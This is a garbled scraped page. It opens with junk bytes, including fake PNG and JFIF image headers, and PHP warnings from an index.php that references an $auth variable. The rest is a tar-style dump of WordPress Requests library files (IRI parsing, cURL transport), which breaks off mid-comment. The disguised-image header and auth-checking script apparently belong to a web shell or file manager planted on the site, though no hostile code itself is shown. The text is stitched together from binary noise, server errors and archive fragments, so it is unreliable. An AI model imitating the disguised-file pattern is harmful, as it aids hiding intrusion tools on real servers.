???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ????????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? ??????????????????????????????????????? $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ PNG \x49\x44\x41\x54?\x89\x50 \x4E\x47\x0D\x0A\x1A\x0A JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? ???????????????????????????????????????............................... JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas ..................................................................................................................................... ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ????????????????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????????????????? ??????????????????????????????????????? PNG \x49\x44\x41\x54?\x89\x50 \x4E\x47\x0D\x0A\x1A\x0A JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................?????????????????????? ??? ???????????????????????????????????????............................... JFIF    ?? C    !"$"$?? C  ?? p " ??     ??   ?   ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ adadasdasdasasdasdas .....................................................................................................................................???????????????????????????????? ??????????????????????????????? ??????????????????????????????? >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.
Warning: Undefined variable $auth in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695

Warning: Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 332

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 333

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 334

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 335

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 336

Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 337
HookManager.php000064400000001305152076141140007450 0ustar000 is executed later */ public function register($hook, $callback, $priority = 0); /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness */ public function dispatch($hook, $parameters = []); } Capability.php000064400000001214152076141160007337 0ustar00 array( 'port' => Port::ACAP, ), 'dict' => array( 'port' => Port::DICT, ), 'file' => array( 'ihost' => 'localhost', ), 'http' => array( 'port' => Port::HTTP, ), 'https' => array( 'port' => Port::HTTPS, ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $method = 'get_' . $name; $return = $this->$method(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } else { return $return; } } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return (method_exists($this, 'get_' . $name) || isset($this->$name)); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string|Stringable|null $iri * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null. */ public function __construct($iri = null) { if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) { throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri)); } $this->set_iri($iri); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI * @param \WpOrg\Requests\Iri|string $relative Relative IRI * @return \WpOrg\Requests\Iri|false */ public static function absolutize($base, $relative) { if (!($relative instanceof self)) { $relative = new self($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } if (!($base instanceof self)) { $base = new self($base); } if ($base->scheme === null || !$base->is_valid()) { return false; } if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new self; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); $has_match = preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match); if (!$has_match) { throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri); } if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", // then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", // where "." is a complete path segment, then replace that prefix // with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", // where ".." is a complete path segment, then replace that prefix // with "/" in the input buffer and remove the last segment and its // preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } // D: if the input buffer consists only of "." or "..", then remove // that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of // the output buffer, including the initial "/" character (if any) // and any subsequent characters up to, but not including, the next // "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $text Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text); // Replace invalid percent characters $text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($text); while (($position += strspn($text, $extra_chars, $position)) < $strlen) { $value = ord($text[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($text[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) { $position--; } for ($j = $start; $j <= $position; $j++) { $text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $text; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $regex_match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($regex_match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $regex_match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->ihost) && empty($this->ipath)) { $this->ipath = '/'; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($this->ipath !== '' && ( $isauthority && $this->ipath[0] !== '/' || ( $this->scheme === null && !$isauthority && strpos($this->ipath, ':') !== false && (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) ) ) ) { return false; } return true; } public function __wakeup() { $class_props = get_class_vars( __CLASS__ ); $string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' ); $array_props = array( 'normalization' ); foreach ( $class_props as $prop => $default_value ) { if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) { throw new UnexpectedValueException(); } elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) { throw new UnexpectedValueException(); } $this->$prop = null; } } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ protected function set_iri($iri) { static $cache; if (!$cache) { $cache = array(); } if ($iri === null) { return true; } $iri = (string) $iri; if (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } $parsed = $this->parse_iri($iri); $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ protected function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ protected function set_authority($authority) { static $cache; if (!$cache) { $cache = array(); } if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } if (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) { $port = substr($remaining, $port_start + 1); if ($port === false || $port === '') { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ protected function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ protected function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (Ipv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ protected function set_port($port) { if ($port === null) { $this->port = null; return true; } if (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ protected function set_path($ipath) { static $cache; if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ protected function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ protected function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()}) * @return string|false URI if IRI is valid, false otherwise. */ protected function to_uri($iri) { if (!is_string($iri)) { return false; } static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($iri); while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) { $iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1); $position += 3; $strlen += 2; } return $iri; } /** * Get the complete IRI * * @return string|false */ protected function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } $iri .= $this->ipath; if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ protected function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string|null */ protected function get_iauthority() { if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) { return null; } $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null) { $iauthority .= ':' . $this->port; } return $iauthority; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) { return $this->to_uri($iauthority); } else { return $iauthority; } } } Transport/Curl.php000064400000046163152076141160010173 0ustar00= 8.0. */ private $handle; /** * Hook dispatcher instance * * @var \WpOrg\Requests\Hooks */ private $hooks; /** * Have we finished the headers yet? * * @var boolean */ private $done_headers = false; /** * If streaming to a file, keep the file pointer * * @var resource */ private $stream_handle; /** * How many bytes are in the response body? * * @var int */ private $response_bytes; /** * What's the maximum number of bytes we should keep? * * @var int|bool Byte count, or false if no limit. */ private $response_byte_limit; /** * Constructor */ public function __construct() { $curl = curl_version(); $this->version = $curl['version_number']; $this->handle = curl_init(); curl_setopt($this->handle, CURLOPT_HEADER, false); curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1); if ($this->version >= self::CURL_7_10_5) { curl_setopt($this->handle, CURLOPT_ENCODING, ''); } if (defined('CURLOPT_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } if (defined('CURLOPT_REDIR_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } } /** * Destructor */ public function __destruct() { if (is_resource($this->handle)) { curl_close($this->handle); } } /** * Perform a request * * @param string|Stringable $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return string Raw HTTP result * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On a cURL error (`curlerror`) */ public function request($url, $headers = [], $data = [], $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (!is_array($data) && !is_string($data)) { if ($data === null) { $data = ''; } else { throw InvalidArgument::create(3, '$data', 'array|string', gettype($data)); } } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->hooks = $options['hooks']; $this->setup_handle($url, $headers, $data, $options); $options['hooks']->dispatch('curl.before_send', [&$this->handle]); if ($options['filename'] !== false) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $this->stream_handle = @fopen($options['filename'], 'wb'); if ($this->stream_handle === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } if (isset($options['verify'])) { if ($options['verify'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0); } elseif (is_string($options['verify'])) { curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']); } } if (isset($options['verifyname']) && $options['verifyname'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); } curl_exec($this->handle); $response = $this->response_data; $options['hooks']->dispatch('curl.after_send', []); if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) { // Reset encoding and try again curl_setopt($this->handle, CURLOPT_ENCODING, 'none'); $this->response_data = ''; $this->response_bytes = 0; curl_exec($this->handle); $response = $this->response_data; } $this->process_response($response, $options); // Need to remove the $this reference from the curl handle. // Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called. curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data * @param array $options Global options * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $multihandle = curl_multi_init(); $subrequests = []; $subhandles = []; $class = get_class($this); foreach ($requests as $id => $request) { $subrequests[$id] = new $class(); $subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]); curl_multi_add_handle($multihandle, $subhandles[$id]); } $completed = 0; $responses = []; $subrequestcount = count($subrequests); $request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]); do { $active = 0; do { $status = curl_multi_exec($multihandle, $active); } while ($status === CURLM_CALL_MULTI_PERFORM); $to_process = []; // Read the information as needed while ($done = curl_multi_info_read($multihandle)) { $key = array_search($done['handle'], $subhandles, true); if (!isset($to_process[$key])) { $to_process[$key] = $done; } } // Parse the finished requests before we start getting the new ones foreach ($to_process as $key => $done) { $options = $requests[$key]['options']; if ($done['result'] !== CURLE_OK) { //get error string for handle. $reason = curl_error($done['handle']); $exception = new CurlException( $reason, CurlException::EASY, $done['handle'], $done['result'] ); $responses[$key] = $exception; $options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]); } else { $responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options); $options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]); } curl_multi_remove_handle($multihandle, $done['handle']); curl_close($done['handle']); if (!is_string($responses[$key])) { $options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]); } $completed++; } } while ($active || $completed < $subrequestcount); $request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]); curl_multi_close($multihandle); return $responses; } /** * Get the cURL handle for use in a multi-request * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return resource|\CurlHandle Subrequest's cURL handle */ public function &get_subrequest_handle($url, $headers, $data, $options) { $this->setup_handle($url, $headers, $data, $options); if ($options['filename'] !== false) { $this->stream_handle = fopen($options['filename'], 'wb'); } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } $this->hooks = $options['hooks']; return $this->handle; } /** * Setup the cURL handle for the given data * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the 